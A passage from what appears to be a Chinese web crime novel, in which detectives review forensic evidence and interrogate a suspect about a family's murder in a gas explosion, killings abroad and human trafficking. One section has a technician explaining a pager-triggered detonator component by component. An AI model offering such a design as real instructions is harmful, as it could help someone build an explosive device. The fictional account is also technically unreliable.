“没,我就是觉得很奇怪,她不是个藏匿起来的人吗,和谁起了冲突会被捅啊。”邹天道。 刘明城道:“我推测,可能是她和邵紫涵没能找到证物,从韩国空手回来后,就和邵彦华之间产生了矛盾。矛盾日积月累,终于有一天,邵彦华用刀捅了梅凝隽,梅凝隽于是脱离了这两个人,独自跑去了泰国。不过这都是我的推测,还得听当事三人的供词才能知道到底是怎么回事。”刘明城道。 秦梓需蹙眉,邵彦华如此迷恋梅凝隽,再如何愤怒,会用刀捅她吗?而且还是致命的捅法。她感觉这逻辑不大能说得通,且邵紫涵还把自己手臂上的梅花纹身给洗了,这说明她也跟母亲也决裂了。 邵紫涵是梅凝隽一手带大的,邵紫涵对她的依恋非常深,什么事会造成这母女俩闹翻了?而且年初她回胥城,又是为了什么?感觉不像是为了她的宠物灰色生意,更像是要回来处理一些十分重要的事。 秦梓需想了一会儿,想不明白。她扭头,发现章弥真意外得十分沉默,一直看着窗外的风景,沉着面庞,眸光深沉。 这几天在韩国,章弥真一直忙着帮大伙处理后续的琐碎事项,倒也没有表现出任何异常。怎么这一回国,突然不对劲起来了? “想什么呢?”她出声问章弥真。 章弥真顿了半秒,从车窗收回视线,幽幽叹了口气,道: “我觉得……一切都好不真实。” “嗯?怎么说?” “我在想,两个月前,如果我们俩没有在派出所偶然撞见,你就不会邀请我参加案件调查。那我就根本不会去韩国,不会亲身经历何天佑被抓的事。仔细想想,似乎我的加入改变了一整个世界线。”她说道。 秦梓需没想到她竟然转着这样玄而又玄的念头,她思索了一下,道: “你的加入确实加速了很多事,没有你,这个案子不会查得这么快。” “是吧,我感觉这一切都是命中注定的,真的很不真实,我第一回有了自己的人生完全在某个宇宙意志掌控之下的恐怖感觉。”章弥真说这话时,面色发白,她是真的感觉有点害怕,“有那么一种冥冥之中的力量推动着我,让我经历了这一切。” “是啊,这案子表面看似与你无关,但又在某种程度上与你息息相关。”秦梓需回忆着查案以来的种种,感慨道。 “真像是大梦一场……”章弥真靠在了后背上,抬手扶额。 “想这么多做什么呢,要是真存在你说的那种强大的宇宙意志,那咱们谁都反抗不了。不如干脆躺平,任它摆布得了。你就当自己是世界运转的某个小齿轮,你只能认清与你咬合在一起的附近的齿轮,殊不知传动你的是更远处的齿轮,而你的旋转,也会传动向其他未知的齿轮。”秦梓需笑着安慰道。 “呦,这话说得真漂亮。秦老师,受教了。”章弥真哼哼唧唧地回道。 见她又傲娇起来了,秦梓需也就放心了。 此时,刘明城问道:“大家累不累,是带你们先去继续查案,还是先休息一天,明天再说?” “你跟泰国那里约了什么时间?”谢云卿问。 “随时都能安排的。”刘明城道,“你们要是想先和梅凝隽谈,现在就能联络。我暂时没和梅凝隽打照面,我主要是想把这件事交给秦老师来做,秦老师毕竟比我更了解这个案子,而且审讯水平也是一流的。” 秦梓需见自己被点名,于是道:“我随时都可以和梅凝隽谈,不过我还是想先等证物检测的结果出来再说,这样会更有底气。” “行,是这个道理,那咱们就各自先回家休息,等结果出来了再说。” 秦梓需本想立刻去市局,近距离去观察证物的状态的,但看章弥真身心疲累、不在状态的模样,便想着算了,要是自己提出要回市局,她再累也肯定要强撑着跟自己一起的。还是先送她回家休息吧。 她目前只看到了两张证物照片。即便是照片,也让她大开眼界了。那是一个用眼镜框和传呼机改造成的遥控炸/弹引爆器,奇迹般地在燃气大爆炸中被保留下了大部分的结构。表面看上去虽然焦黑,但内里大有可以搜查的地方,镜框、电池、传呼机生产编码,相当多的线索可以进行追溯,哪怕没有指纹等生物证据,也能形成强有力的证据链条。 这引爆器的设计思路虽然简单直白,但这是一个无人指导的初中生的自行发想,可谓是相当天才。邵彦华的思维能力和动手能力确实很强,他如果能走正道,成就绝不会是如今这般,只可惜他走错了路,毁了他自己的人生。 中巴车将车上人陆续都送回了家。邹天暂时会留在胥城,结案后再返回云南,因此被安排在市局旁的酒店入住。 秦梓需此前租住的房子已经退了,现在安全屋也没法住,她突然就没地方住了。自己家里她暂时还不打算回去,本打算和邹天一起去住酒店,但章弥真却拉着她去自家住。 “干嘛住酒店,你钱多啊?我家房间多,你来住就是了,我不嫌弃你的。” 章弥真说得如此理所当然,秦梓需也没法拒绝了。 她们俩是被最后送到家的,秦梓需帮着章弥真把她的大箱子从车肚子里掏出来时,章弥真突然往她胳膊上“啪”地敲了个环儿。 “这是啥?”秦梓需看着手腕上的手环,奇道。 “驱蚊环,我看你在韩国这些天被咬的全身包,特意给你买的。” “你啥时候买的?”章弥真和秦梓需这段时间彼此之间几乎寸步不离,她不记得她啥时候买过这个。 “我学你的。离开韩国前那天晚上,趁着你洗澡时出去背着你偷偷买的,嘿嘿。”章弥真露出得意的小表情,“我路过一家文具店时看到的,太怀念了,这东西你小时候没见过吗?可以拉成笔直的尺子,但一掰就弯了,可有意思了,我能玩儿一天。”章弥真道。 “哈哈,我倒是觉得跟手铐似的,直接给我铐上了。”秦梓需笑了。 “切,无趣的警察,你小时候到底怎么过的,你的童年呢?”章弥真眯着眼吐槽她。 “好好好,我是丢失童年的无趣警察,走吧,你不嫌晒啊?”秦梓需一手一个行李箱,推着往章弥真家小区里行去。 章弥真在她背后对着她做了个鬼脸,快步跟了上去。 “诶,你跟你妈说了我们回来了吗?”秦梓需问。 “没说,我怕她又来忙前忙后的。”章弥真道,“不过我们去韩国这段时间,她每天都要来家里照顾猫猫的。” 话说到这里,章弥真的手机突然震了一下,她拿出来一看,发现微信里有个名叫“月儿弯弯弯”的用户要加她好友,备注里写了一句话:【你好,章姐姐,我是何文月,能加你好友吗?】 章弥真微微一愣,她没有想到何文月竟然还会主动联系她。随即通过了好友申请。 刚通过好友申请,何文月就发来了一张自拍,照片上她穿了一身糕点师的制服,对着镜头腼腆地笑,面色比从前要红润很多,似是长胖了些许。 她接着发了一句话: 【谢谢你姐姐,我找到工作了,我在‘星孩儿糕点店’做学徒,这里都是和我一样的孩子。姐姐有空来尝尝我做的面包蛋糕。】 章弥真欣慰地笑了。 第99章 第九十九章 “不是。她为什么不联系我?我也把我的联系方式留给她了啊,亏我还费了那么大的劲儿救了她,我手臂拉伤到现在还没好全呢。” 吃晚饭时,秦梓需抓着筷子忍不住和章弥真抱怨道。因为到现在何文月也没给她发来好友申请,她是真的伤心了。 “她应该是怕你,你留给她的第一印象太凶了。”章弥真憋着笑道,她觉得这会儿秦梓需身上的孩子气特别浓,让她那体制内老干部气质都消散了,人变得非常鲜活。 “而且,我跟她才是同城,你是北京来的嘛,她都记得的。”章弥真笑道,“好啦,你跟一个智力残障的小姑娘呕什么气,等案子结束了,咱俩抽空去看看她,到时候你们加个好友就是了。” 秦梓需还想抱怨两句,结果腿上一沉,是阿真跳到她怀里来了。数日不见,这小猫又长大了一圈。小梓也盘桓在章弥真腿间,喵喵叫,像是要吃的。 “诶呦,你俩小馋猫,不是刚喂过了嘛。”章弥真看自己脚下,小梓正在蹭她的脚踝。 她驱赶秦梓需怀里的阿真:“你跳上来做什么,别打搅人家吃饭。” 秦梓需却放下碗筷,笑着揽住阿真在手里撸着玩儿,道:“没事儿,我陪它玩会儿。” “来来来,还有汤呢。”厨房里,章母端出来一大锅莲藕排骨汤,香气四溢。 章弥真忙起身去帮忙:“妈,都叫你别忙了,坐下来吃饭,咱俩吃顿简餐就好了,做这么丰盛,吃不完又要吃剩菜了。” “你俩凯旋,我不得出马做一顿庆功宴啊。而且人家小秦来家里吃饭,吃简餐怎么说得过去啊。来来来,小秦,你多吃点,这排骨补身子的,我看你好像瘦了。”章母放下汤锅,就开始张罗着给秦梓需碗里添排骨。 “谢谢阿姨。”秦梓需连忙把阿真放回地上,刚想接汤碗,想起自己撸猫一手毛,又跑去洗手。 这天晚上秦梓需和章弥真都吃撑了。为了消食,两人一起到楼下围着小区步道散步。 “案子了结了,你不打算去见见爸妈?”章弥真问秦梓需。 “嗯,是打算去的,这不是还没了结嘛。”秦梓需似乎仍然有些回避这个问题。 “你跟许晓芸说的那番话,其实是你的心声吧。不管怎么样,他们老后,你都是他们唯一的依靠。” “你真是的……今晚怎么尽说些扎我心的话。”秦梓需抱怨道。 “我就是觉得你有些封闭自己了,过去的十八年,为了查这个案子,你几乎没有自己的生活。现在案子了结了,你有什么打算?”章弥真问。 这个问题秦梓需还真没有想过,她沉默了好一会儿,道:“我也不知道,也许就是回北京,继续教书吧,日子就这么平平淡淡过去了。” “没想再去一线?你的能力用在教书上,我感觉有些大材小用了。你更适合实战。”章弥真道。 “这可由不得我,得看上级领导如何安排了。说实话,还是教书更舒坦一点,查案太累了。”秦梓需笑道。 “呵呵呵,看不出来你也是个会想要偷懒的。”章弥真也笑了。 “弥真,案子了结了,你跟我去一趟陵园,给陈老师扫扫墓。”秦梓需突然道。 “好,这么多年,你去过吗?”章弥真问。 “没有,案子查不明白,我哪有脸去看她。”秦梓需苦笑了一下,“陈老师他们全家的遗骨都不完整,也很难区分开来。所以骨灰坛里装的是全家人混在一起的遗骨,当年是学校帮忙处理的后世,在陵园买了一个壁葬格,算是全家人都葬在一起了。我打算把杨莲的骨灰安葬在陈老师家壁葬格的隔壁,她们俩……生前不得相伴,死后也能永远在一起了。” 章弥真鼻子一酸,一时无言。 气氛一时有些沉重,两人沉默着走了一会儿,秦梓需的手机突然响了。是谢云卿来电话,她连忙接起: “秦老师,好消息,证物检测结果出来了,不仅查出了邵彦华、杨莲的指纹,眼镜框和杨莲胃里的镜托的比对也完全吻合,而且眼镜框的生产批次比对结果应该很快会出来,和长生制药曾代理分销的一批近视矫正眼镜应该是有关系的。这下,真是铁证如山了,零口供也能定案!” 秦梓需倒是不惊讶,一切都在意料之中,她只是感到胸口一直堵着的大石终于彻底被消解于无形了。 “终于……18年了,终于走到了这一步。”回想过去种种,她一瞬热泪盈眶,话语带上哭腔。 谢云卿被她的情绪感染,也发出感叹:“是啊,秦老师,你太不容易了。” 沉默了几秒钟,谢云卿控制住情绪,道:“明早9点来市局开会,后续的事我们要加紧处理了,争取尽快结案,提起公诉!帮我通知一下章弥真。” “好。” 电话挂断了,秦梓需别过头去,抬手抹泪。 忽而肩背一紧,是章弥真从侧面拥抱住她。后背传来了她轻柔的抚慰,秦梓需心头酸楚逐渐软化消弭,慢慢升起朦胧又温暖的情绪,于是微微侧过身来,环起双臂,给了章弥真一个用力的回抱。 …… 翌日,市局会议室,刑技中心的刘雪莹为所有人讲解遥控引-爆装置的原理。 这个引-爆装置的核心原理是镍钛合金触发和传呼机遥控组合的装置。利用含镍钛记忆合金丝的镍钛眼镜的镜腿作为机械触发器,那个年代随处可见的传呼机作为遥控信号源,通过电热引燃黑火-药,最终引-爆煤气。 起装置构成为三大部分,一是信号接收模块,二是机械触发模块,三是点火模块。 在信号接收模块中,邵彦华选用当时常见的传呼机,拆除振动电机和蜂鸣器,保留接收电路。然后在传呼机电路板上焊接两根导线,连接至镜腿内里的镍钛合金丝,利用传呼机接收信号时的电流脉冲触发装置。 机械触发模块,是将眼镜镜腿中段约5cm的镍钛丝为主要结构。镍钛丝常温下为直线形态,通电加热至60℃后可以弯曲成预设形状。将镍钛丝一端固定,另一端连接火柴头大小的黑火-药包,通电后镍钛丝弯曲拉动引线,摩擦点燃火-药。 接下来是点火模块,邵彦华用用9V方块电池连接取自电热毯的电热丝,包裹住了从鞭炮当中提取出来的黑火-药。当时胥城并未禁燃鞭炮,因此这些东西都唾手可得。 他还做了一个延时设计:串联一个取自玩具电子表的光敏电阻,装置被放置在煤气泄漏的黑暗厨房中,光敏电阻遇厨房开灯时自动断路,避免过早引-爆。 大概是出于伪装的想法,邵彦华没有拆除眼镜框,因此使得整个引-爆装置像是一个镜腿绑着布袋子的破旧眼镜,目的在于爆炸后,混淆搜查现场的警方视线,让警方无法辨认什么才是引-爆装置,从而达到将谋杀伪装成意外事故的目的。 接下来就是关键的伪装与安装步骤。可以推测这个伪装成眼镜的引-爆装置外面还有一层外壳,可能是个眼镜盒。邵彦华将电路和电池藏于眼镜盒内,镍钛丝嵌入镜腿凹槽,黑火-药包夹在眼镜盒的夹层之中,寻呼机就粘在眼镜盒上。如此哪怕被提前发现,也不会一起怀疑。 到了行凶当日,邵彦华趁着马家人早早睡下后,从厨房窗户翻入后厨,破坏煤气管道,将装置固定在灶台下方。他的行动惊动了马军,差点被马军抓住。马军呼喊他,让他站住的声音也惊醒了陈君梅,陈君梅从二楼下到了厨房之中,查看情况。 当时拼命逃离的邵彦华没有远遁,而是用其父的手机拨打了传呼台,发送特定代码,传呼机接收信号后,内部电路脉冲激活镍钛丝加热弯曲,拉动引线摩擦点火。黑火-药燃烧引燃泄露煤气,光敏电阻因爆炸火光触发断路,电路证据因此被销毁。 如此,邵彦华利用他的天才大脑,制造了一起惨绝人寰的灭门爆燃案,亲手杀死了自己的老师全家。 在听完引-爆装置的全部讲解后,全场的刑警都陷入了静默。无人不惊叹于这近乎发明创造一般的犯罪手法,而犯下这桩惊人罪孽的,竟然是个时年只有14岁的少年。 他这惊人的手法骗过了几乎所有人,但却还是低估了人对于最珍视之人的怀恋与求索。杨莲以一己之力查到了最关键的物证,用智慧乃至自己的生命将其保护至今。秦梓需坚持不懈地追索十八年,大海捞针一般地侦查早已湮没多年的微弱线索。直到如今真相大白。 若是没有这两个人,真相必然彻底石沉大海。 “大家给秦老师鼓鼓掌,感谢她十八年来的坚持不懈,没有她,我们不知道何时才能把这个案子查明白。”主持会议的范副局感慨地说道。 秦梓需就坐在会场椭圆形会议桌最靠近范副局的位置上,所有人向她投去钦佩的目光,场内响起了雷鸣般的掌声。秦梓需却只是谦逊地低着头,默默地接受了大家的掌声。 此刻她的心情并不多么愉悦,如果时光能倒流,她宁愿这一切绝对不要发生,她只想陈老师一家能好好活着,杨莲也能好好活着,包括李芝华,都好好地活到白发苍苍,享尽寿元。 这场邪恶的犯罪,毁掉了太多人,也彻底改变了秦梓需的生命轨迹。 范副局道:“好,接下来咱们现场连线泰国,对梅凝隽做一下审讯。关于梅凝隽的背景,我们查到了大部分,但还有一些模糊的地方,需要她本人说明情况。 “在连线之前,我先通报一下目前咱们掌握到的关于梅凝隽的个人情况。梅凝隽,出生地、籍贯不祥,身份登记地点是蚌埠怀远县兰桥镇,户籍归属于一户吕姓人家。这个吕家是当地一户养狗的养殖户,梅凝隽是这户人家的养女。 “她的身份证上登记的是1979年生人,今年41岁。为什么说出生地籍贯不详呢,因为我们找到了这户吕姓人家,采集了他们的DNA与梅凝隽的DNA做了比对,证实完全没有血缘关系。 “根据吕家人的供述,梅凝隽是吕家的户主吕大成妻子张小娟家的亲戚,打小失了父母,在亲戚之间轮流看管。但张小娟和梅凝隽之间到底是什么亲戚关系,吕家人也说不清楚。 “由于张小娟已经过世了,这个问题目前只有她的外甥女,也就是丽琴裁缝铺的店主王丽琴知晓。但王丽琴始终不愿开口讲述梅凝隽与她之间的关系,且根据DNA比对结果,梅凝隽与这二人之间也并无任何亲缘关系。因此,梅凝隽的出生地、籍贯皆成谜。我们正在DNA大数据库里进行比对,希望能找到梅凝隽真正的亲属,暂时还没有结果。 “据吕家人说,梅凝隽16岁时,被张小娟接到了吕家生活,自那以后一直在帮吕家看管狗场,她对宠物的驯养经历也是从这里开始的。 “虽然梅凝隽来历成谜,她此后的经历是比较清楚的,她在狗场待了4年时间,20岁时离开狗场,投奔王丽琴,在丽琴裁缝铺帮工。2001年时,经王丽琴介绍认识了邵长生,并很快与他发展出了情人关系。二人经常在丽琴裁缝铺的二层阁楼里发生关系,这一点有当年的老邻居作证供述。 “王丽琴和邵长生是医患关系,在邵长生早年间还是眼科医生时,王丽琴就是他的病患。王丽琴因职业原因患有眼疾,一直是邵长生给她看病。后王丽琴大概是出于攀附的功利心,一直维护着与邵长生之间的联系,邵长生家住不远,也时常到她的铺子里来委托一些缝补的工作。 “此外,我们查到吕家狗场在2003年时拿到了一笔50万元的资金,吕家人因此关闭了即将倒毙的狗场营生,去开了一家饭馆,营业至今。这笔钱经查来源于邵长生,推测应该是给吕家的彩礼。不仅如此,王丽琴也曾从邵长生那里拿到了十分丰厚的数笔资金,差不多也是03年时,她关闭了裁缝铺的生意,在胥城市区购置了几套门面房和商品房,此后一直靠炒股和收租生活。 “我们可以说,所有与梅凝隽有点亲戚关系的人,都因梅凝隽和邵长生之间的婚姻而得了巨大的好处。但这段婚姻具体是怎么回事,梅凝隽的来历到底是怎么回事,她犯下多起罪行的具体细节如何,还要看接下来的审讯。秦老师,我们希望你来主审。” 秦梓需点了点头:“好,范副局,我准备好了。” 第100章 第一百章 章弥真莫名有些期待,在她的想象里,梅凝隽是个相当神秘的女人,美丽且残忍,就像所有人刻板印象中的蛇蝎美人似的。她在照片之中的模样就已经相当惊艳了,现实中见过她的人,大多都过目难忘。很难想象真人到底是何模样。 但当连线接通,身着囚服的梅凝隽出现在视频画面里时,她不禁大失所望。眼前的女人一头杂乱如稻草般的齐耳短发,发丝花白。面庞上皱纹丛生,法令纹尤其深刻,双目下垂,眼中无神,虽然不过四十出头的年纪,看上去却好像五六十岁了,显得十分苍老。 而什么蛇蝎美艳的神态,在她面庞上找不到分毫,虽然五官仍然残留着昔年的标志模样,整个人却像进入了垂暮之年,毫无生气。 “梅凝隽,我是胥城市局的秦梓需,由我负责对你进行审讯。”秦梓需简简单单说完了开场白,道,“知道我们为什么联系你吗?” 梅凝隽毫无生气的面庞像是凝固了一般,秦梓需等了好一会儿,她都没有回应。 “知道自己犯了什么事吗?”秦梓需再问了一遍。 这一次,梅凝隽有回应了,她微微地点了下头。 秦梓需见她有反应了,于是继续道: “既然如此,我想你应该已经知道了,邵彦华、邵紫涵均已被捕,且我们已经掌握足够完备的证据,可以零口供定案。因此,本次对你的审讯只是例行公事,希望你能如实坦白一切犯罪事实,视你的表现,可酌情量刑,你是否明白?” 秦梓需几乎是上来就敲响了定音锤,给整个审讯定下了基调。她判断自己的话语,能最大限度地调出梅凝隽深藏内心的秘密,因为这个女人看上去已然毫无斗志了。 她的判断没有错,梅凝隽又点了下头。 “先告诉我你的籍贯,你的出生地和确切的出生时间。”秦梓需开始切入主题。 “我是……胥城梅村人,就出生在梅村,生日是1979年6月13日。我原名其实叫做梅娟,凝隽是后来改的名字。”她轻声道。 梅村人?秦梓需吃了一惊,她怎么也没想到梅凝隽竟然是梅村人。当然,梅姓本就是梅村的第一大姓,那个村里相当多的人都姓梅。 但这不是重点,重点是……何文月也是梅村人,这巧合让她身上泛起鸡皮疙瘩。她看了一眼章弥真,章弥真眸中也满含震惊。 “你继续说,从小时候说起,事无巨细都说一遍。”秦梓需道。 梅凝隽张口,却一时语塞。她整理了好一会儿语言,才继续道: “我小时候……没什么好说的,我爸是菜农,好喝酒,家暴我妈。我妈被打得受不了了,丢下我不管跑了。他就打我,我初中还没上完就辍学了,每天挑粪浇菜,帮我爸打理菜园,收拾家里,有点做的不好的,就要挨打。” “你的长相不大像是农民家里的孩子。”秦梓需道。 梅凝隽突然笑了一下,死寂的面庞多了一丝神采,她颇为戏谑地说道:“我长得像我爸,我爸年轻时也是个长得帅的,而且还是个文青。文青过头了,看了不该看的书,写了不该写的文章,被批斗,学校里的工作没了,只能种菜卖菜了。 “我妈也是学校里的大美人,当时不顾一切要嫁给我爸,他俩当年可是郎才女貌的一对苦命鸳鸯。结果,没在一起几年,物是人非了。” “哪所学校?” “胥城中学。我爸曾经是胥中的语文老师,我妈是英语老师。” 这回不仅是秦梓需、章弥真,所有与会人员身上都起了泛起一层鸡皮疙瘩。本案的被害人与加害人之一的父母居然都是同一所学校的。他们无数次翻阅过胥中的名册档案,加害人父母的名字恐怕也在眼皮底下略过了无数次。 这是何等的命运捉弄。 “你接着说。”秦梓需道。 “接着……哦,初中,我14岁那年辍学在家,我爸偶尔喝酒醉得起不来,我就会拉着菜去市场上卖,一天不卖就没收入,没饭吃。然后认识了一个小年轻,叫何阿金,他跟着他爸在市场支了一个修车摊修车。他那会儿大概十八九岁吧,我们俩就好上了。 “15岁,我怀了他的孩子,我爸差点没把我打死。后来还是村里人出面,把我送到了医院。我本想堕胎的,但是何阿金的老母跪着求我,要我生下这个孩子,说是什么何家的骨肉,堕了会损阴德。她还说,等孩子生下来,让何阿金娶我当媳妇,把我带到他们家生活,这样我就可以摆脱我爸了。我当时白纸一张,啥也不懂,就知道生孩子能摆脱我爸,我就生了。 “结果出生时难产,脐带绕了孩子的脖子,后来孩子大脑发育一直不大好。何阿金和他妈变了脸,坐月子期间没给我什么好脸色。再加上当时我爸一直在大闹,要带我回家。我就不想待在何家了。 “天杀的,赶巧我爸当时醉驾三轮车出事,把村里一家有权势人家的儿子撞死了,他自己也重伤不治,死了。那户人家扬言要报复我们全家,我在村里待不下去了,何阿金也不想要我和孩子,于是我就干脆抱着孩子去投靠我妈。 “我妈当时躲在娘家,在隔壁的下官村。她认了孩子,劝我改名换姓赶紧出去避祸。她已经不要求我读书了,只希望我能趁着还年轻,改头换面,重新来过。 “她还打电话去求了何阿金和他母亲,看在我给何阿金生了个孩子的份上,给我安排个出路。何母联系了她的亲姐姐,把我送去了蚌埠怀远县兰桥镇的一个狗场,我就在那里住下来了,给狗场帮忙…… “我在狗场待了四年,每天虽然干活很累,但真的是一点烦恼都没有,和一群没有脏心思的畜生在一起,能有什么烦心的呢? “但是,我这人就是命苦吧,20岁那会儿,张小娟跟我说,要送我去大城市见世面,说她外甥女王丽琴在胥城做生意,介绍我去帮忙,可以拿更多的钱,还没现在这么累。我当时就不该轻信她的,世上哪有这么好的事呢? “我就到了王丽琴那里,干了没几天活儿,我发现她根本没想给我发工资,她的目的是想让我陪老男人上床。就是邵长生,王丽琴本来是想自己勾引这个男人傍大款的,但她姿色不行,于是就动了歪脑筋,想给邵长生拉皮条。我就是那个皮条啊! “你说,女人长得好看是不是一种罪过?我要是不听王丽琴的,她就威胁把我送回去,她对我家里的事一清二楚,我还能怎么办呢?只能听她的话,成天伺候老男人。后来我也不多想什么了,只要邵长生能给钱就行,我还图什么呢?既然我有姿色,我干嘛不利用这个资本呢? “我也不是泥捏的,被欺负成这样了我也得报复啊,所以我下了决心,不仅要占了邵长生所有的钱,我还要给他戴绿帽,戴一个让他完全无法接受的绿帽。哼,我直接和他儿子上床了。这爷俩都是色欲熏心啊,邵彦华真是小畜生一个,13、4岁就生猛得很。稍微勾勾手指就巴巴地咬钩子了。” 秦梓需眉头紧皱地听着,所有人都觉得心口堵得慌。但梅凝隽说到这里,就不再往下说了。秦梓需开口追问: “你跟邵彦华在哪里发生关系的?” 梅凝隽明显有些抗拒回答这个问题,她显然意识到了秦梓需是有意问出这个问题的,但她挣扎了一会儿,最后还是回答道: “市图书馆旁边有个很便宜的小旅馆,他放学后,我们就去那里。” “你们被陈老师看到了?”秦梓需知道陈君梅是市图书馆的常客,在她繁忙的工作生活之余,市图书馆是她唯一常去的地方。 梅凝隽没说话,但显然是默认了。秦梓需眉头紧锁,强压愤怒道: “你觉得你被看到了,你就杀人灭口,陈老师何其无辜?更何况陈老师全家都被你们弄死了,你们怎么能够如此残忍?” “我没有杀他们家,这事儿是邵彦华自己做的,我事先并不知道。”她一口否决。 秦梓需冷笑一声,道:“梅凝隽,你的审讯录像,我们是会放给邵彦华看的。” “你放吧,无所谓,我说的是事实。”梅凝隽似乎真的很无所谓。 “好,咱们按顺序来。交代一下邵彦华犯罪后,你都做了什么。”秦梓需道。 “我没做啥,我只是和他爸结婚了。而且我那会儿怀孕了,要养胎,我还能做啥?在我生下孩子后没两年,邵彦华就又犯了杨莲的案子。前面的爆燃案算糊弄过去了,但这回可是真正的杀人斩首,邵彦华当时就在他爸的郊区别墅里煮人头。我们知道在国内待不下去了,警察早晚要查到头上来,他爸没多久就变卖公司和房产,把我们带去了美国。” 秦梓需:“你怎么能确定孩子是邵长生的还是邵彦华的?” “哼,孩子是谁的母亲才最清楚,何况我每次和邵长生完事后,都会吃避孕药。”梅凝隽道。 “那么邵长生是什么时候知道那孩子不是他的而是他儿子的?” 梅凝隽:“到美国后没多久,他瞒着我去做了亲子鉴定,确认了亲缘关系。这老家伙一直有疑心的,虽然我和邵彦华尽力隐藏了,还是被他察觉出不对劲。” “然后呢?” “还能如何,闹翻了呗。我本来是计划着拿他的财产的,但被这老家伙摆了一道,他把我和女儿丢在芝加哥,自己买了机票,偷偷跑了。” 秦梓需:“邵长生知不知道他儿子犯罪了?” “知道,不然国内混得好好的干嘛要跑路啊?邵彦华偷了他爸厂里的东西,瞒不过他爸的,而且事发当天晚上,邵彦华犯罪回家后被他爸直接发现了。后续的烂摊子,都是他爸收拾的。”梅凝隽道。 “你是指让邵彦华顶替卢康安的身份,重新回国?” “对,卢康安这个身份,是邵长生找黑市买到的,邵彦华借着出国留学的名义飞到美国,又折返到菲律宾,做了整容手术后偷渡回国,以卢康安的身份留在国内。整个过程大概有大半年的时间。” “他跑了之后,再没和你们联系过?”秦梓需问。 梅凝隽道:“他死了。他躲到了巴西,还是被邵彦华找到了。邵彦华利用黑客手段,转移了一笔黑/道资金到老家伙的户头里,嫁祸了他,又找了当地黑/道的杀手买凶,老家伙被邵彦华借刀杀人弄死了。这老家伙大概早想到儿子会杀了他,所以才跑得那么利索。但没用,邵彦华不可能放过他,这个小畜生狼心狗肺,而且恨父亲已经恨了很久了。” “为什么?” “邵长生出轨,害得邵彦华很小就没了妈。邵彦华这个人非常恋母,病态一样地恋母。所以他既把我当自己的女人,又把我当妈。” 她叙述的一切都与警方的推断别无二致。接下来,秦梓需问到了李芝华案。这个案子也如秦梓需推测的那般,邵彦华在国内寻找丢失的证物多年,判断证物可能在李芝华手里。但他当时很难抽出身来对付李芝华,于是和梅凝隽商量该如何处理这件事,梅凝隽决定替邵彦华出手。 她带着邵紫涵从芝加哥返回,拿着黑市买的身份从香港入境到了成都,在李芝华所读大学附近的宠物店埋伏下来,伺机接触李芝华。不过没多久,李芝华就毕业去了韩国,她不得不带着邵紫涵追过去。 “你带孩子跟着跑去韩国,李芝华没起疑?” “我早就知道她要去韩国了,邵彦华的情报一直做得很好,那女孩在我们面前根本没秘密。所以在国内时我就做了铺垫,告诉她我大概在她实习期间也会去韩国参加一个宠物店的投资项目。那女孩很单纯,根本不会起疑。”梅凝隽解释道。 “你怎么能教唆你女儿去毒杀李芝华,她当时只有9岁!”秦梓需敲着桌板道。 “9岁怎么了,我9岁时已经什么都懂了,她生在咱们这个家庭里,这就是她的命。这人世间的所有腌臜事,她心里都门清。”梅凝隽云淡风轻。 秦梓需感到怒意顶上脑门,但被她强压下去。她知道这个女人根本没有正常人的三观,她是在一个极度扭曲的环境中长大的,她看待世界的目光,也早已混沌不堪。 “复述一遍你在韩国作案的全过程。”她以命令的口吻说道。 梅凝隽显得不耐烦,但还是说了,她所说的细节都与秦梓需的推测别无二致。梅凝隽满以为杀了李芝华,就能拿到证物,结果还是丢了。 回国后,她果然和邵彦华大吵一架,产生了严重的冲突。随后,两人之间调整了彼此的分工,由梅凝隽在外赚钱,邵彦华则退出了公司开发一线,开始着手频繁往云南跑,寻找物证。 “5年前发生了什么事?你为什么会受这么严重的伤,又为什么去了泰国?”秦梓需追问。 “和我干的营生有关,我本来没有白道身份,邵彦华总是在搞一些烧钱的事,我们开销很大,我就起了人口买卖的心思。” “你倒卖人口?” “是,邵彦华在菲律宾整容时接触到了一些黑/道人物,我就跟着他们做事,他们的老巢在菲律宾,在泰国有常驻点,但真正的窝点在缅甸。我们负责从国内绑人送到边境,那里有人交接。”梅凝隽道,“5年前,一个姓章的记者曝光了我们的营生,公安查到我们头上了。我们内部人起了内讧,他们都怀疑是我干的,我被捅了,好不容易逃出来。邵彦华紧急把我送去了泰国医治,我当时差点没命,后来我就一直待在泰国,搞点宠物的生意,不再做那么危险的事了。” 姓章的记者?秦梓需猛然看向章弥真,章弥真也很吃惊,她没想到5年前她回国后一战成名的那篇报道,竟然牵涉到梅凝隽所加入的犯罪团伙。 强烈的宿命感再次涌上心头,让章弥真一阵恍惚。 “今年年初,你为什么会回胥城?” “因为我大女儿失踪了。我一直和我妈还保持着偶尔的联系,年初时她告诉我,我那个傻女儿不见了,我……回去了一趟,是想让邵彦华帮我查这件事。”梅凝隽道。 “你女儿是不是叫何文月?”秦梓需终于问出了这个问题。 “是,她是叫这个名字。” “邵彦华和邵紫涵此前知道你有这个女儿吗?” “他们一直不知道。”梅凝隽的头垂了下去。 “你们因为这件事闹翻了?” “是。” “你从来没管过何文月,为什么现在反倒管起来了?”秦梓需不解问道。 “我……我也不知道,但我心里很难受。我从来没给她当过妈,她出了事,我还是想做点事。”梅凝隽很努力地解释自己的想法。 “邵紫涵知道自己还有个同母异父的姐姐时,是不是觉得被你背叛了?她洗掉了她手臂上的梅花纹身。她跟着你吃尽苦头,你狠心地带着年幼的她杀人,然后把她丢给邵彦华不管。现在你却关心起一个早年间生下来的女儿了,我要是邵紫涵,我心里也不平衡。”秦梓需道。 梅凝隽垂首,不说话。 秦梓需:“你回泰国后就被捕了,此后和他们再没联络过?” “是。”梅凝隽道。 “你知道他们后来干了什么吗?这两个人联手把李芝华的父母也害了。” “我大概知道他们在计划做什么,我劝过他们不要再铤而走险了,但我说话已经不中听了。他们爱做什么就做什么吧,被抓了也是自找的。”梅凝隽没所谓地说道。 秦梓需也不想再问什么了,她阖上了面前的笔记本,结束了这场漫长的问话。【你现在阅读的是 】 【全文完结】 第101章 第一百零一章 梅凝隽的口供已经拿到,专案组也马不停蹄地再次提审邵彦华、邵紫涵。 秦梓需再见到邵彦华时,他看上去好像突然苍老了十岁,头发都白了。大概是在狱中受罪很多,他的面相都苦了许多。如果不是知道这个人和自己同龄,秦梓需觉得他单纯看外观可能都快五十岁了。 秦梓需没有和他多说什么,上来就是通报梅凝隽已经被捕且招供的事,同时把梅凝隽的供述录像放给邵彦华看。 